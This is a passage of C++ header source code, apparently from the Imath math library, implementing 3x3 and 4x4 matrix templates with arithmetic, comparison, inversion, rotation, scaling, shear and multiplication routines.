&v) { memcpy (x, v.x, sizeof (x)); return *this; } template <class T> inline const Matrix33<T> & Matrix33<T>::operator = (T a) { x[0][0] = a; x[0][1] = a; x[0][2] = a; x[1][0] = a; x[1][1] = a; x[1][2] = a; x[2][0] = a; x[2][1] = a; x[2][2] = a; return *this; } template <class T> inline T * Matrix33<T>::getValue () { return (T *) &x[0][0]; } template <class T> inline const T * Matrix33<T>::getValue () const { return (const T *) &x[0][0]; } template <class T> template <class S> inline void Matrix33<T>::getValue (Matrix33<S> &v) const { if (isSameType<S,T>::value) { memcpy (v.x, x, sizeof (x)); } else { v.x[0][0] = x[0][0]; v.x[0][1] = x[0][1]; v.x[0][2] = x[0][2]; v.x[1][0] = x[1][0]; v.x[1][1] = x[1][1]; v.x[1][2] = x[1][2]; v.x[2][0] = x[2][0]; v.x[2][1] = x[2][1]; v.x[2][2] = x[2][2]; } } template <class T> template <class S> inline Matrix33<T> & Matrix33<T>::setValue (const Matrix33<S> &v) { if (isSameType<S,T>::value) { memcpy (x, v.x, sizeof (x)); } else { x[0][0] = v.x[0][0]; x[0][1] = v.x[0][1]; x[0][2] = v.x[0][2]; x[1][0] = v.x[1][0]; x[1][1] = v.x[1][1]; x[1][2] = v.x[1][2]; x[2][0] = v.x[2][0]; x[2][1] = v.x[2][1]; x[2][2] = v.x[2][2]; } return *this; } template <class T> template <class S> inline Matrix33<T> & Matrix33<T>::setTheMatrix (const Matrix33<S> &v) { if (isSameType<S,T>::value) { memcpy (x, v.x, sizeof (x)); } else { x[0][0] = v.x[0][0]; x[0][1] = v.x[0][1]; x[0][2] = v.x[0][2]; x[1][0] = v.x[1][0]; x[1][1] = v.x[1][1]; x[1][2] = v.x[1][2]; x[2][0] = v.x[2][0]; x[2][1] = v.x[2][1]; x[2][2] = v.x[2][2]; } return *this; } template <class T> inline void Matrix33<T>::makeIdentity() { memset (x, 0, sizeof (x)); x[0][0] = 1; x[1][1] = 1; x[2][2] = 1; } template <class T> bool Matrix33<T>::operator == (const Matrix33 &v) const { return x[0][0] == v.x[0][0] && x[0][1] == v.x[0][1] && x[0][2] == v.x[0][2] && x[1][0] == v.x[1][0] && x[1][1] == v.x[1][1] && x[1][2] == v.x[1][2] && x[2][0] == v.x[2][0] && x[2][1] == v.x[2][1] && x[2][2] == v.x[2][2]; } template <class T> bool Matrix33<T>::operator != (const Matrix33 &v) const { return x[0][0] != v.x[0][0] || x[0][1] != v.x[0][1] || x[0][2] != v.x[0][2] || x[1][0] != v.x[1][0] || x[1][1] != v.x[1][1] || x[1][2] != v.x[1][2] || x[2][0] != v.x[2][0] || x[2][1] != v.x[2][1] || x[2][2] != v.x[2][2]; } template <class T> bool Matrix33<T>::equalWithAbsError (const Matrix33<T> &m, T e) const { for (int i = 0; i < 3; i++) for (int j = 0; j < 3; j++) if (!IMATH_INTERNAL_NAMESPACE::equalWithAbsError ((*this)[i][j], m[i][j], e)) return false; return true; } template <class T> bool Matrix33<T>::equalWithRelError (const Matrix33<T> &m, T e) const { for (int i = 0; i < 3; i++) for (int j = 0; j < 3; j++) if (!IMATH_INTERNAL_NAMESPACE::equalWithRelError ((*this)[i][j], m[i][j], e)) return false; return true; } template <class T> const Matrix33<T> & Matrix33<T>::operator += (const Matrix33<T> &v) { x[0][0] += v.x[0][0]; x[0][1] += v.x[0][1]; x[0][2] += v.x[0][2]; x[1][0] += v.x[1][0]; x[1][1] += v.x[1][1]; x[1][2] += v.x[1][2]; x[2][0] += v.x[2][0]; x[2][1] += v.x[2][1]; x[2][2] += v.x[2][2]; return *this; } template <class T> const Matrix33<T> & Matrix33<T>::operator += (T a) { x[0][0] += a; x[0][1] += a; x[0][2] += a; x[1][0] += a; x[1][1] += a; x[1][2] += a; x[2][0] += a; x[2][1] += a; x[2][2] += a; return *this; } template <class T> Matrix33<T> Matrix33<T>::operator + (const Matrix33<T> &v) const { return Matrix33 (x[0][0] + v.x[0][0], x[0][1] + v.x[0][1], x[0][2] + v.x[0][2], x[1][0] + v.x[1][0], x[1][1] + v.x[1][1], x[1][2] + v.x[1][2], x[2][0] + v.x[2][0], x[2][1] + v.x[2][1], x[2][2] + v.x[2][2]); } template <class T> const Matrix33<T> & Matrix33<T>::operator -= (const Matrix33<T> &v) { x[0][0] -= v.x[0][0]; x[0][1] -= v.x[0][1]; x[0][2] -= v.x[0][2]; x[1][0] -= v.x[1][0]; x[1][1] -= v.x[1][1]; x[1][2] -= v.x[1][2]; x[2][0] -= v.x[2][0]; x[2][1] -= v.x[2][1]; x[2][2] -= v.x[2][2]; return *this; } template <class T> const Matrix33<T> & Matrix33<T>::operator -= (T a) { x[0][0] -= a; x[0][1] -= a; x[0][2] -= a; x[1][0] -= a; x[1][1] -= a; x[1][2] -= a; x[2][0] -= a; x[2][1] -= a; x[2][2] -= a; return *this; } template <class T> Matrix33<T> Matrix33<T>::operator - (const Matrix33<T> &v) const { return Matrix33 (x[0][0] - v.x[0][0], x[0][1] - v.x[0][1], x[0][2] - v.x[0][2], x[1][0] - v.x[1][0], x[1][1] - v.x[1][1], x[1][2] - v.x[1][2], x[2][0] - v.x[2][0], x[2][1] - v.x[2][1], x[2][2] - v.x[2][2]); } template <class T> Matrix33<T> Matrix33<T>::operator - () const { return Matrix33 (-x[0][0], -x[0][1], -x[0][2], -x[1][0], -x[1][1], -x[1][2], -x[2][0], -x[2][1], -x[2][2]); } template <class T> const Matrix33<T> & Matrix33<T>::negate () { x[0][0] = -x[0][0]; x[0][1] = -x[0][1]; x[0][2] = -x[0][2]; x[1][0] = -x[1][0]; x[1][1] = -x[1][1]; x[1][2] = -x[1][2]; x[2][0] = -x[2][0]; x[2][1] = -x[2][1]; x[2][2] = -x[2][2]; return *this; } template <class T> const Matrix33<T> & Matrix33<T>::operator *= (T a) { x[0][0] *= a; x[0][1] *= a; x[0][2] *= a; x[1][0] *= a; x[1][1] *= a; x[1][2] *= a; x[2][0] *= a; x[2][1] *= a; x[2][2] *= a; return *this; } template <class T> Matrix33<T> Matrix33<T>::operator * (T a) const { return Matrix33 (x[0][0] * a, x[0][1] * a, x[0][2] * a, x[1][0] * a, x[1][1] * a, x[1][2] * a, x[2][0] * a, x[2][1] * a, x[2][2] * a); } template <class T> inline Matrix33<T> operator * (T a, const Matrix33<T> &v) { return v * a; } template <class T> const Matrix33<T> & Matrix33<T>::operator *= (const Matrix33<T> &v) { Matrix33 tmp (T (0)); for (int i = 0; i < 3; i++) for (int j = 0; j < 3; j++) for (int k = 0; k < 3; k++) tmp.x[i][j] += x[i][k] * v.x[k][j]; *this = tmp; return *this; } template <class T> Matrix33<T> Matrix33<T>::operator * (const Matrix33<T> &v) const { Matrix33 tmp (T (0)); for (int i = 0; i < 3; i++) for (int j = 0; j < 3; j++) for (int k = 0; k < 3; k++) tmp.x[i][j] += x[i][k] * v.x[k][j]; return tmp; } template <class T> template <class S> void Matrix33<T>::multVecMatrix(const Vec2<S> &src, Vec2<S> &dst) const { S a, b, w; a = src[0] * x[0][0] + src[1] * x[1][0] + x[2][0]; b = src[0] * x[0][1] + src[1] * x[1][1] + x[2][1]; w = src[0] * x[0][2] + src[1] * x[1][2] + x[2][2]; dst.x = a / w; dst.y = b / w; } template <class T> template <class S> void Matrix33<T>::multDirMatrix(const Vec2<S> &src, Vec2<S> &dst) const { S a, b; a = src[0] * x[0][0] + src[1] * x[1][0]; b = src[0] * x[0][1] + src[1] * x[1][1]; dst.x = a; dst.y = b; } template <class T> const Matrix33<T> & Matrix33<T>::operator /= (T a) { x[0][0] /= a; x[0][1] /= a; x[0][2] /= a; x[1][0] /= a; x[1][1] /= a; x[1][2] /= a; x[2][0] /= a; x[2][1] /= a; x[2][2] /= a; return *this; } template <class T> Matrix33<T> Matrix33<T>::operator / (T a) const { return Matrix33 (x[0][0] / a, x[0][1] / a, x[0][2] / a, x[1][0] / a, x[1][1] / a, x[1][2] / a, x[2][0] / a, x[2][1] / a, x[2][2] / a); } template <class T> const Matrix33<T> & Matrix33<T>::transpose () { Matrix33 tmp (x[0][0], x[1][0], x[2][0], x[0][1], x[1][1], x[2][1], x[0][2], x[1][2], x[2][2]); *this = tmp; return *this; } template <class T> Matrix33<T> Matrix33<T>::transposed () const { return Matrix33 (x[0][0], x[1][0], x[2][0], x[0][1], x[1][1], x[2][1], x[0][2], x[1][2], x[2][2]); } template <class T> const Matrix33<T> & Matrix33<T>::gjInvert (bool singExc) throw (IEX_NAMESPACE::MathExc) { *this = gjInverse (singExc); return *this; } template <class T> Matrix33<T> Matrix33<T>::gjInverse (bool singExc) const throw (IEX_NAMESPACE::MathExc) { int i, j, k; Matrix33 s; Matrix33 t (*this); // Forward elimination for (i = 0; i < 2 ; i++) { int pivot = i; T pivotsize = t[i][i]; if (pivotsize < 0) pivotsize = -pivotsize; for (j = i + 1; j < 3; j++) { T tmp = t[j][i]; if (tmp < 0) tmp = -tmp; if (tmp > pivotsize) { pivot = j; pivotsize = tmp; } } if (pivotsize == 0) { if (singExc) throw ::IMATH_INTERNAL_NAMESPACE::SingMatrixExc ("Cannot invert singular matrix."); return Matrix33(); } if (pivot != i) { for (j = 0; j < 3; j++) { T tmp; tmp = t[i][j]; t[i][j] = t[pivot][j]; t[pivot][j] = tmp; tmp = s[i][j]; s[i][j] = s[pivot][j]; s[pivot][j] = tmp; } } for (j = i + 1; j < 3; j++) { T f = t[j][i] / t[i][i]; for (k = 0; k < 3; k++) { t[j][k] -= f * t[i][k]; s[j][k] -= f * s[i][k]; } } } // Backward substitution for (i = 2; i >= 0; --i) { T f; if ((f = t[i][i]) == 0) { if (singExc) throw ::IMATH_INTERNAL_NAMESPACE::SingMatrixExc ("Cannot invert singular matrix."); return Matrix33(); } for (j = 0; j < 3; j++) { t[i][j] /= f; s[i][j] /= f; } for (j = 0; j < i; j++) { f = t[j][i]; for (k = 0; k < 3; k++) { t[j][k] -= f * t[i][k]; s[j][k] -= f * s[i][k]; } } } return s; } template <class T> const Matrix33<T> & Matrix33<T>::invert (bool singExc) throw (IEX_NAMESPACE::MathExc) { *this = inverse (singExc); return *this; } template <class T> Matrix33<T> Matrix33<T>::inverse (bool singExc) const throw (IEX_NAMESPACE::MathExc) { if (x[0][2] != 0 || x[1][2] != 0 || x[2][2] != 1) { Matrix33 s (x[1][1] * x[2][2] - x[2][1] * x[1][2], x[2][1] * x[0][2] - x[0][1] * x[2][2], x[0][1] * x[1][2] - x[1][1] * x[0][2], x[2][0] * x[1][2] - x[1][0] * x[2][2], x[0][0] * x[2][2] - x[2][0] * x[0][2], x[1][0] * x[0][2] - x[0][0] * x[1][2], x[1][0] * x[2][1] - x[2][0] * x[1][1], x[2][0] * x[0][1] - x[0][0] * x[2][1], x[0][0] * x[1][1] - x[1][0] * x[0][1]); T r = x[0][0] * s[0][0] + x[0][1] * s[1][0] + x[0][2] * s[2][0]; if (IMATH_INTERNAL_NAMESPACE::abs (r) >= 1) { for (int i = 0; i < 3; ++i) { for (int j = 0; j < 3; ++j) { s[i][j] /= r; } } } else { T mr = IMATH_INTERNAL_NAMESPACE::abs (r) / limits<T>::smallest(); for (int i = 0; i < 3; ++i) { for (int j = 0; j < 3; ++j) { if (mr > IMATH_INTERNAL_NAMESPACE::abs (s[i][j])) { s[i][j] /= r; } else { if (singExc) throw SingMatrixExc ("Cannot invert " "singular matrix."); return Matrix33(); } } } } return s; } else { Matrix33 s ( x[1][1], -x[0][1], 0, -x[1][0], x[0][0], 0, 0, 0, 1); T r = x[0][0] * x[1][1] - x[1][0] * x[0][1]; if (IMATH_INTERNAL_NAMESPACE::abs (r) >= 1) { for (int i = 0; i < 2; ++i) { for (int j = 0; j < 2; ++j) { s[i][j] /= r; } } } else { T mr = IMATH_INTERNAL_NAMESPACE::abs (r) / limits<T>::smallest(); for (int i = 0; i < 2; ++i) { for (int j = 0; j < 2; ++j) { if (mr > IMATH_INTERNAL_NAMESPACE::abs (s[i][j])) { s[i][j] /= r; } else { if (singExc) throw SingMatrixExc ("Cannot invert " "singular matrix."); return Matrix33(); } } } } s[2][0] = -x[2][0] * s[0][0] - x[2][1] * s[1][0]; s[2][1] = -x[2][0] * s[0][1] - x[2][1] * s[1][1]; return s; } } template <class T> inline T Matrix33<T>::minorOf (const int r, const int c) const { int r0 = 0 + (r < 1 ? 1 : 0); int r1 = 1 + (r < 2 ? 1 : 0); int c0 = 0 + (c < 1 ? 1 : 0); int c1 = 1 + (c < 2 ? 1 : 0); return x[r0][c0]*x[r1][c1] - x[r1][c0]*x[r0][c1]; } template <class T> inline T Matrix33<T>::fastMinor( const int r0, const int r1, const int c0, const int c1) const { return x[r0][c0]*x[r1][c1] - x[r0][c1]*x[r1][c0]; } template <class T> inline T Matrix33<T>::determinant () const { return x[0][0]*(x[1][1]*x[2][2] - x[1][2]*x[2][1]) + x[0][1]*(x[1][2]*x[2][0] - x[1][0]*x[2][2]) + x[0][2]*(x[1][0]*x[2][1] - x[1][1]*x[2][0]); } template <class T> template <class S> const Matrix33<T> & Matrix33<T>::setRotation (S r) { S cos_r, sin_r; cos_r = Math<T>::cos (r); sin_r = Math<T>::sin (r); x[0][0] = cos_r; x[0][1] = sin_r; x[0][2] = 0; x[1][0] = -sin_r; x[1][1] = cos_r; x[1][2] = 0; x[2][0] = 0; x[2][1] = 0; x[2][2] = 1; return *this; } template <class T> template <class S> const Matrix33<T> & Matrix33<T>::rotate (S r) { *this *= Matrix33<T>().setRotation (r); return *this; } template <class T> const Matrix33<T> & Matrix33<T>::setScale (T s) { memset (x, 0, sizeof (x)); x[0][0] = s; x[1][1] = s; x[2][2] = 1; return *this; } template <class T> template <class S> const Matrix33<T> & Matrix33<T>::setScale (const Vec2<S> &s) { memset (x, 0, sizeof (x)); x[0][0] = s[0]; x[1][1] = s[1]; x[2][2] = 1; return *this; } template <class T> template <class S> const Matrix33<T> & Matrix33<T>::scale (const Vec2<S> &s) { x[0][0] *= s[0]; x[0][1] *= s[0]; x[0][2] *= s[0]; x[1][0] *= s[1]; x[1][1] *= s[1]; x[1][2] *= s[1]; return *this; } template <class T> template <class S> const Matrix33<T> & Matrix33<T>::setTranslation (const Vec2<S> &t) { x[0][0] = 1; x[0][1] = 0; x[0][2] = 0; x[1][0] = 0; x[1][1] = 1; x[1][2] = 0; x[2][0] = t[0]; x[2][1] = t[1]; x[2][2] = 1; return *this; } template <class T> inline Vec2<T> Matrix33<T>::translation () const { return Vec2<T> (x[2][0], x[2][1]); } template <class T> template <class S> const Matrix33<T> & Matrix33<T>::translate (const Vec2<S> &t) { x[2][0] += t[0] * x[0][0] + t[1] * x[1][0]; x[2][1] += t[0] * x[0][1] + t[1] * x[1][1]; x[2][2] += t[0] * x[0][2] + t[1] * x[1][2]; return *this; } template <class T> template <class S> const Matrix33<T> & Matrix33<T>::setShear (const S &xy) { x[0][0] = 1; x[0][1] = 0; x[0][2] = 0; x[1][0] = xy; x[1][1] = 1; x[1][2] = 0; x[2][0] = 0; x[2][1] = 0; x[2][2] = 1; return *this; } template <class T> template <class S> const Matrix33<T> & Matrix33<T>::setShear (const Vec2<S> &h) { x[0][0] = 1; x[0][1] = h[1]; x[0][2] = 0; x[1][0] = h[0]; x[1][1] = 1; x[1][2] = 0; x[2][0] = 0; x[2][1] = 0; x[2][2] = 1; return *this; } template <class T> template <class S> const Matrix33<T> & Matrix33<T>::shear (const S &xy) { // // In this case, we don't need a temp. copy of the matrix // because we never use a value on the RHS after we've // changed it on the LHS. // x[1][0] += xy * x[0][0]; x[1][1] += xy * x[0][1]; x[1][2] += xy * x[0][2]; return *this; } template <class T> template <class S> const Matrix33<T> & Matrix33<T>::shear (const Vec2<S> &h) { Matrix33<T> P (*this); x[0][0] = P[0][0] + h[1] * P[1][0]; x[0][1] = P[0][1] + h[1] * P[1][1]; x[0][2] = P[0][2] + h[1] * P[1][2]; x[1][0] = P[1][0] + h[0] * P[0][0]; x[1][1] = P[1][1] + h[0] * P[0][1]; x[1][2] = P[1][2] + h[0] * P[0][2]; return *this; } //--------------------------- // Implementation of Matrix44 //--------------------------- template <class T> inline T * Matrix44<T>::operator [] (int i) { return x[i]; } template <class T> inline const T * Matrix44<T>::operator [] (int i) const { return x[i]; } template <class T> inline Matrix44<T>::Matrix44 () { memset (x, 0, sizeof (x)); x[0][0] = 1; x[1][1] = 1; x[2][2] = 1; x[3][3] = 1; } template <class T> inline Matrix44<T>::Matrix44 (T a) { x[0][0] = a; x[0][1] = a; x[0][2] = a; x[0][3] = a; x[1][0] = a; x[1][1] = a; x[1][2] = a; x[1][3] = a; x[2][0] = a; x[2][1] = a; x[2][2] = a; x[2][3] = a; x[3][0] = a; x[3][1] = a; x[3][2] = a; x[3][3] = a; } template <class T> inline Matrix44<T>::Matrix44 (const T a[4][4]) { memcpy (x, a, sizeof (x)); } template <class T> inline Matrix44<T>::Matrix44 (T a, T b, T c, T d, T e, T f, T g, T h, T i, T j, T k, T l, T m, T n, T o, T p) { x[0][0] = a; x[0][1] = b; x[0][2] = c; x[0][3] = d; x[1][0] = e; x[1][1] = f; x[1][2] = g; x[1][3] = h; x[2][0] = i; x[2][1] = j; x[2][2] = k; x[2][3] = l; x[3][0] = m; x[3][1] = n; x[3][2] = o; x[3][3] = p; } template <class T> inline Matrix44<T>::Matrix44 (Matrix33<T> r, Vec3<T> t) { x[0][0] = r[0][0]; x[0][1] = r[0][1]; x[0][2] = r[0][2]; x[0][3] = 0; x[1][0] = r[1][0]; x[1][1] = r[1][1]; x[1][2] = r[1][2]; x[1][3] = 0; x[2][0] = r[2][0]; x[2][1] = r[2][1]; x[2][2] = r[2][2]; x[2][3] = 0; x[3][0] = t[0]; x[3][1] = t[1]; x[3][2] = t[2]; x[3][3] = 1; } template <class T> inline Matrix44<T>::Matrix44 (const Matrix44 &v) { x[0][0] = v.x[0][0]; x[0][1] = v.x[0][1]; x[0][2] = v.x[0][2]; x[0][3] = v.x[0][3]; x[1][0] = v.x[1][0]; x[1][1] = v.x[1][1]; x[1][2] = v.x[1][2]; x[1][3] = v.x[1][3]; x[2][0] = v.x[2][0]; x[2][1] = v.x[2][1]; x[2][2] = v.x[2][2]; x[2][3] = v.x[2][3]; x[3][0] = v.x[3][0]; x[3][1] = v.x[3][1]; x[3][2] = v.x[3][2]; x[3][3] = v.x[3][3]; } template <class T> template <class S> inline Matrix44<T>::Matrix44 (const Matrix44<S> &v) { x[0][0] = T (v.x[0][0]); x[0][1] = T (v.x[0][1]); x[0][2] = T (v.x[0][2]); x[0][3] = T (v.x[0][3]); x[1][0] = T (v.x[1][0]); x[1][1] = T (v.x[1][1]); x[1][2] = T (v.x[1][2]); x[1][3] = T (v.x[1][3]); x[2][0] = T (v.x[2][0]); x[2][1] = T (v.x[2][1]); x[2][2] = T (v.x[2][2]); x[2][3] = T (v.x[2][3]); x[3][0] = T (v.x[3][0]); x[3][1] = T (v.x[3][1]); x[3][2] = T (v.x[3][2]); x[3][3] = T (v.x[3][3]); } template <class T> inline const Matrix44<T> & Matrix44<T>::operator = (const Matrix44 &v) { x[0][0] = v.x[0][0]; x[0][1] = v.x[0][1]; x[0][2] = v.x[0][2]; x[0][3] = v.x[0][3]; x[1][0] = v.x[1][0]; x[1][1] = v.x[1][1]; x[1][2] = v.x[1][2]; x[1][3] = v.x[1][3]; x[2][0] = v.x[2][0]; x[2][1] = v.x[2][1]; x[2][2] = v.x[2][2]; x[2][3] = v.x[2][3]; x[3][0] = v.x[3][0]; x[3][1] = v.x[3][1]; x[3][2] = v.x[3][2]; x[3][3] = v.x[3][3]; return *this; } template <class T> inline const Matrix44<T> & Matrix44<T>::operator = (T a) { x[0][0] = a; x[0][1] = a; x[0][2] = a; x[0][3] = a; x[1][0] = a; x[1][1] = a; x[1][2] = a; x[1][3] = a; x[2][0] = a; x[2][1] = a; x[2][2] = a; x[2][3] = a; x[3][0] = a; x[3][1] = a; x[3][2] = a; x[3][3] = a; return *this; } template <class T> inline T * Matrix44<T>::getValue () { return (T *) &x[0][0]; } template <class T> inline const T * Matrix44<T>::getValue () const { return (const T *) &x[0][0]; } template <class T> template <class S> inline void Matrix44<T>::getValue (Matrix44<S> &v) const { if (isSameType<S,T>::value) { memcpy (v.x, x, sizeof (x)); } else { v.x[0][0] = x[0][0]; v.x[0][1] = x[0][1]; v.x[0][2] = x[0][2]; v.x[0][3] = x[0][3]; v.x[1][0] = x[1][0]; v.x[1][1] = x[1][1]; v.x[1][2] = x[1][2]; v.x[1][3] = x[1][3]; v.x[2][0] = x[2][0]; v.x[2][1] = x[2][1]; v.x[2][2] = x[2][2]; v.x[2][3] = x[2][3]; v.x[3][0] = x[3][0]; v.x[3][1] = x[3][1]; v.x[3][2] = x[3][2]; v.x[3][3] = x[3][3]; } } template <class T> template <class S> inline Matrix44<T> & Matrix44<T>::setValue (const Matrix44<S> &v) { if (isSameType<S,T>::value) { memcpy (x, v.x, sizeof (x)); } else { x[0][0] = v.x[0][0]; x[0][1] = v.x[0][1]; x[0][2] = v.x[0][2]; x[0][3] = v.x[0][3]; x[1][0] = v.x[1][0]; x[1][1] = v.x[1][1]; x[1][2] = v.x[1][2]; x[1][3] = v.x[1][3]; x[2][0] = v.x[2][0]; x[2][1] = v.x[2][1]; x[2][2] = v.x[2][2]; x[2][3] = v.x[2][3]; x[3][0] = v.x[3][0]; x[3][1] = v.x[3][1]; x[3][2] = v.x[3][2]; x[3][3] = v.x[3][3]; } return *this; } template <class T> template <class S> inline Matrix44<T> & Matrix44<T>::setTheMatrix (const Matrix44<S> &v) { if (isSameType<S,T>::value) { memcpy (x, v.x, sizeof (x)); } else { x[0][0] = v.x[0][0]; x[0][1] = v.x[0][1]; x[0][2] = v.x[0][2]; x[0][3] = v.x[0][3]; x[1][0] = v.x[1][0]; x[1][1] = v.x[1][1]; x[1][2] = v.x[1][2]; x[1][3] = v.x[1][3]; x[2][0] = v.x[2][0]; x[2][1] = v.x[2][1]; x[2][2] = v.x[2][2]; x[2][3] = v.x[2][3]; x[3][0] = v.x[3][0]; x[3][1] = v.x[3][1]; x[3][2] = v.x[3][2]; x[3][3] = v.x[3][3]; } return *this; } template <class T> inline void Matrix44<T>::makeIdentity() { memset (x, 0, sizeof (x)); x[0][0] = 1; x[1][1] = 1; x[2][2] = 1; x[3][3] = 1; } template <class T> bool Matrix44<T>::operator == (const Matrix44 &v) const { return x[0][0] == v.x[0][0] && x[0][1] == v.x[0][1] && x[0][2] == v.x[0][2] && x[0][3] == v.x[0][3] && x[1][0] == v.x[1][0] && x[1][1] == v.x[1][1] && x[1][2] == v.x[1][2] && x[1][3] == v.x[1][3] && x[2][0] == v.x[2][0] && x[2][1] == v.x[2][1] && x[2][2] == v.x[2][2] && x[2][3] == v.x[2][3] && x[3][0] == v.x[3][0] && x[3][1] == v.x[3][1] && x[3][2] == v.x[3][2] && x[3][3] == v.x[3][3]; } template <class T> bool Matrix44<T>::operator != (const Matrix44 &v) const { return x[0][0] != v.x[0][0] || x[0][1] != v.x[0][1] || x[0][2] != v.x[0][2] || x[0][3] != v.x[0][3] || x[1][0] != v.x[1][0] || x[1][1] != v.x[1][1] || x[1][2] != v.x[1][2] || x[1][3] != v.x[1][3] || x[2][0] != v.x[2][0] || x[2][1] != v.x[2][1] || x[2][2] != v.x[2][2] || x[2][3] != v.x[2][3] || x[3][0] != v.x[3][0] || x[3][1] != v.x[3][1] || x[3][2] != v.x[3][2] || x[3][3] != v.x[3][3]; } template <class T> bool Matrix44<T>::equalWithAbsError (const Matrix44<T> &m, T e) const { for (int i = 0; i < 4; i++) for (int j = 0; j < 4; j++) if (!IMATH_INTERNAL_NAMESPACE::equalWithAbsError ((*this)[i][j], m[i][j], e)) return false; return true; } template <class T> bool Matrix44<T>::equalWithRelError (const Matrix44<T> &m, T e) const { for (int i = 0; i < 4; i++) for (int j = 0; j < 4; j++) if (!IMATH_INTERNAL_NAMESPACE::equalWithRelError ((*this)[i][j], m[i][j], e)) return false; return true; } template <class T> const Matrix44<T> & Matrix44<T>::operator += (const Matrix44<T> &v) { x[0][0] += v.x[0][0]; x[0][1] += v.x[0][1]; x[0][2] += v.x[0][2]; x[0][3] += v.x[0][3]; x[1][0] += v.x[1][0]; x[1][1] += v.x[1][1]; x[1][2] += v.x[1][2]; x[1][3] += v.x[1][3]; x[2][0] += v.x[2][0]; x[2][1] += v.x[2][1]; x[2][2] += v.x[2][2]; x[2][3] += v.x[2][3]; x[3][0] += v.x[3][0]; x[3][1] += v.x[3][1]; x[3][2] += v.x[3][2]; x[3][3] += v.x[3][3]; return *this; } template <class T> const Matrix44<T> & Matrix44<T>::operator += (T a) { x[0][0] += a; x[0][1] += a; x[0][2] += a; x[0][3] += a; x[1][0] += a; x[1][1] += a; x[1][2] += a; x[1][3] += a; x[2][0] += a; x[2][1] += a; x[2][2] += a; x[2][3] += a; x[3][0] += a; x[3][1] += a; x[3][2] += a; x[3][3] += a; return *this; } template <class T> Matrix44<T> Matrix44<T>::operator + (const Matrix44<T> &v) const { return Matrix44 (x[0][0] + v.x[0][0], x[0][1] + v.x[0][1], x[0][2] + v.x[0][2], x[0][3] + v.x[0][3], x[1][0] + v.x[1][0], x[1][1] + v.x[1][1], x[1][2] + v.x[1][2], x[1][3] + v.x[1][3], x[2][0] + v.x[2][0], x[2][1] + v.x[2][1], x[2][2] + v.x[2][2], x[2][3] + v.x[2][3], x[3][0] + v.x[3][0], x[3][1] + v.x[3][1], x[3][2] + v.x[3][2], x[3][3] + v.x[3][3]); } template <class T> const Matrix44<T> & Matrix44<T>::operator -= (const Matrix44<T> &v) { x[0][0] -= v.x[0][0]; x[0][1] -= v.x[0][1]; x[0][2] -= v.x[0][2]; x[0][3] -= v.x[0][3]; x[1][0] -= v.x[1][0]; x[1][1] -= v.x[1][1]; x[1][2] -= v.x[1][2]; x[1][3] -= v.x[1][3]; x[2][0] -= v.x[2][0]; x[2][1] -= v.x[2][1]; x[2][2] -= v.x[2][2]; x[2][3] -= v.x[2][3]; x[3][0] -= v.x[3][0]; x[3][1] -= v.x[3][1]; x[3][2] -= v.x[3][2]; x[3][3] -= v.x[3][3]; return *this; } template <class T> const Matrix44<T> & Matrix44<T>::operator -= (T a) { x[0][0] -= a; x[0][1] -= a; x[0][2] -= a; x[0][3] -= a; x[1][0] -= a; x[1][1] -= a; x[1][2] -= a; x[1][3] -= a; x[2][0] -= a; x[2][1] -= a; x[2][2] -= a; x[2][3] -= a; x[3][0] -= a; x[3][1] -= a; x[3][2] -= a; x[3][3] -= a; return *this; } template <class T> Matrix44<T> Matrix44<T>::operator - (const Matrix44<T> &v) const { return Matrix44 (x[0][0] - v.x[0][0], x[0][1] - v.x[0][1], x[0][2] - v.x[0][2], x[0][3] - v.x[0][3], x[1][0] - v.x[1][0], x[1][1] - v.x[1][1], x[1][2] - v.x[1][2], x[1][3] - v.x[1][3], x[2][0] - v.x[2][0], x[2][1] - v.x[2][1], x[2][2] - v.x[2][2], x[2][3] - v.x[2][3], x[3][0] - v.x[3][0], x[3][1] - v.x[3][1], x[3][2] - v.x[3][2], x[3][3] - v.x[3][3]); } template <class T> Matrix44<T> Matrix44<T>::operator - () const { return Matrix44 (-x[0][0], -x[0][1], -x[0][2], -x[0][3], -x[1][0], -x[1][1], -x[1][2], -x[1][3], -x[2][0], -x[2][1], -x[2][2], -x[2][3], -x[3][0], -x[3][1], -x[3][2], -x[3][3]); } template <class T> const Matrix44<T> & Matrix44<T>::negate () { x[0][0] = -x[0][0]; x[0][1] = -x[0][1]; x[0][2] = -x[0][2]; x[0][3] = -x[0][3]; x[1][0] = -x[1][0]; x[1][1] = -x[1][1]; x[1][2] = -x[1][2]; x[1][3] = -x[1][3]; x[2][0] = -x[2][0]; x[2][1] = -x[2][1]; x[2][2] = -x[2][2]; x[2][3] = -x[2][3]; x[3][0] = -x[3][0]; x[3][1] = -x[3][1]; x[3][2] = -x[3][2]; x[3][3] = -x[3][3]; return *this; } template <class T> const Matrix44<T> & Matrix44<T>::operator *= (T a) { x[0][0] *= a; x[0][1] *= a; x[0][2] *= a; x[0][3] *= a; x[1][0] *= a; x[1][1] *= a; x[1][2] *= a; x[1][3] *= a; x[2][0] *= a; x[2][1] *= a; x[2][2] *= a; x[2][3] *= a; x[3][0] *= a; x[3][1] *= a; x[3][2] *= a; x[3][3] *= a; return *this; } template <class T> Matrix44<T> Matrix44<T>::operator * (T a) const { return Matrix44 (x[0][0] * a, x[0][1] * a, x[0][2] * a, x[0][3] * a, x[1][0] * a, x[1][1] * a, x[1][2] * a, x[1][3] * a, x[2][0] * a, x[2][1] * a, x[2][2] * a, x[2][3] * a, x[3][0] * a, x[3][1] * a, x[3][2] * a, x[3][3] * a); } template <class T> inline Matrix44<T> operator * (T a, const Matrix44<T> &v) { return v * a; } template <class T> inline const Matrix44<T> & Matrix44<T>::operator *= (const Matrix44<T> &v) { Matrix44 tmp (T (0)); multiply (*this, v, tmp); *this = tmp; return *this; } template <class T> inline Matrix44<T> Matrix44<T>::operator * (const Matrix44<T> &v) const { Matrix44 tmp (T (0)); multiply (*this, v, tmp); return tmp; } template <class T> void Matrix44<T>::multiply (const Matrix44<T> &a, const Matrix44<T> &b, Matrix44<T> &c) { register const T * IMATH_RESTRICT ap = &a.x[0][0]; register const T * IMATH_RESTRICT bp = &b.x[0][0]; register T * IMATH_RESTRICT cp = &c.x[0][0]; register T a0, a1, a2, a3; a0 = ap[0]; a1 = ap[1]; a2 = ap[2]; a3 = ap[3]; cp[0] = a0 * bp[0] + a1 * bp[4] + a2 * bp[8] + a3 * bp[12]; cp[1] = a0 * bp[1] + a1 * bp[5] + a2 * bp[9] + a3 * bp[13]; cp[2] = a0 * bp[2] + a1 * bp[6] + a2 * bp[10] + a3 * bp[14]; cp[3] = a0 * bp[3] + a1 * bp[7] + a2 * 